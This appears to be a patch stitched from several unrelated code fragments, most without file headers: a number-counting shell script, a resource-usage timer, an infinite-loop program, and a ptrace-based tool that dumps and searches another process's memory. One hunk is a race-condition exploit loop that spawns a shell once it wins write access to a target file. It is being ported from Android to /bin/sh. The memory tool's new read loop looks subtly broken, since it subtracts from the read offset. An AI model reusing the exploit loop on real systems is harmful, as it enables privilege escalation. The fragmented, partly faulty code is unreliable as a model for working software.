--- /dev/null
+#!/bin/sh
+round "$1" | cut -d'.' -f1 | sort -n | uniq -c | sed 's|^\s*\([0-9]*\)\s\([0-9]*\)\s*$|\2 \1|'
while (1) {
int fd = open(argv[2], O_RDWR);
if (fd == -1) {
- sched_yield();
+ //sched_yield();
continue;
}
printf("Success! Here's your shell with open fd.\n");
- execl("/system/bin/sh", "sh", NULL);
+ execl("/bin/sh", "sh", NULL);
printf("\nshell exited, resuming race\n");
}
}
--- /dev/null
+#include <stdio.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+
+#define eprintf(...) fprintf(stderr, __VA_ARGS__)
+#define FARG_TIMEVAL(tv) tv.tv_sec, tv.tv_usec
+#define FSTR_TIMEVAL "%li.%06li"
+
+int main(int argc, char **argv) {
+ #define CHECK_USAGE if (argc < 2) return eprintf("invocation: rusage_precise [--machine-readable] <command> [<args...>]\n"), 1;
+ CHECK_USAGE
+ int machine_readable = 0;
+ if (!strcmp(argv[1], "--machine-readable")) machine_readable = 1, argv++, argc--;
+ CHECK_USAGE
+
+ pid_t child = fork();
+ if (child == -1) return perror("fork failed"), 1;
+ if (child == 0) {
+ execvp(argv[1], argv+1);
+ return perror("execvp failed"), 1;
+ }
+
+ int status;
+ struct rusage ru;
+ errno = 0;
+ if (wait4(child, &status, 0, &ru) != child) return perror("wait4 failed"), 1;
+
+ if (machine_readable) {
+ eprintf(FSTR_TIMEVAL "\t" FSTR_TIMEVAL "\t%li\t%li\t%li\t%li\t%li\t%li\t%li\n",
+ FARG_TIMEVAL(ru.ru_utime), FARG_TIMEVAL(ru.ru_stime),
+ ru.ru_maxrss, ru.ru_minflt, ru.ru_majflt,
+ ru.ru_inblock, ru.ru_oublock, ru.ru_nvcsw,
+ ru.ru_nivcsw);
+ } else {
+ eprintf(" user CPU (s): " FSTR_TIMEVAL "\n", FARG_TIMEVAL(ru.ru_utime));
+ eprintf(" system CPU (s): " FSTR_TIMEVAL "\n", FARG_TIMEVAL(ru.ru_stime));
+ eprintf(" max RSS size (kB): %li\n", ru.ru_maxrss);
+ eprintf(" minor faults: %li\n", ru.ru_minflt);
+ eprintf(" major faults: %li\n", ru.ru_majflt);
+ eprintf(" fs inblocks: %li\n", ru.ru_inblock);
+ eprintf(" fs outblocks: %li\n", ru.ru_oublock);
+ eprintf(" voluntary switches: %li\n", ru.ru_nvcsw);
+ eprintf("involuntary switches: %li\n", ru.ru_nivcsw);
+ }
+ return 0;
+}
--- /dev/null
+int main(void) { while (1); }
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/ptrace.h>
#include <fcntl.h>
#include <jh.h>
#include <stdbool.h>
if (argc != 3) xperror("invocation: anondump <pid> <searchstr>", 0);
TPRINTF(maps_path, "/proc/%s/maps", argv[1])
char *maps = CHK_PTR(slurp_file(maps_path, NULL, JH_SLURP_NO_STAT), "unable to read /proc/$pid/maps", 1);
+
+/*
+ char argbuf[8192];
+ size_t arglen = strlen(argv[2])*4;
+ for (int i=0; i<strlen(argv[2]); i++) {
+ argbuf[i*4] = argv[2][i];
+ argbuf[i*4+1] = 0;
+ argbuf[i*4+2] = 0;
+ argbuf[i*4+3] = 0;
+ }*/
+
+ if (ptrace(PTRACE_ATTACH, atoi(argv[1]), NULL, NULL)) {
+ fputs("warning: unable to ptrace\n", stderr);
+ } else {
+ wait(NULL);
+ }
+
TPRINTF(mem_path, "/proc/%s/mem", argv[1])
int memfd = fail_on_neg(open(mem_path, O_RDONLY), "unable to open /proc/$pid/mem", 1);
size_t n_mappings = count_char_occurences(maps, '\n');
- mappings = CHK_PTR(calloc(n_mappings, sizeof(struct range)), "memory allocation failed", 1);
+ mappings = CHK_PTR(calloc(n_mappings+1, sizeof(struct range)), "memory allocation failed", 1);
// do magic
for (char *line = strtok(maps, "\n"); line != NULL; line = strtok(NULL, "\n")) {
FOR_EACH_MAPPING {
size_t len = mapping->b - mapping->a;
char *copy = CHK_PTR(malloc(len), "malloc failed", 1);
- if (pread(memfd, copy, len, (off_t)mapping->a) != (ssize_t)len) xperror("pread failed", 0);
+ ssize_t read_res;
+ size_t read_done = 0;
+read_more:;
+ if ((read_res=pread(memfd, copy+read_done, len-read_done, (off_t)mapping->a-read_done)) != (ssize_t)len) {
+ if (read_res <= 0) {
+ fputs("warning: some read failed\n", stderr);
+ continue;
+ }
+ read_done += read_res;
+ goto read_more;
+ }
size_t pos = 0;
while (1) {
char *ptr = memmem(copy + pos, len, argv[2], strlen(argv[2]));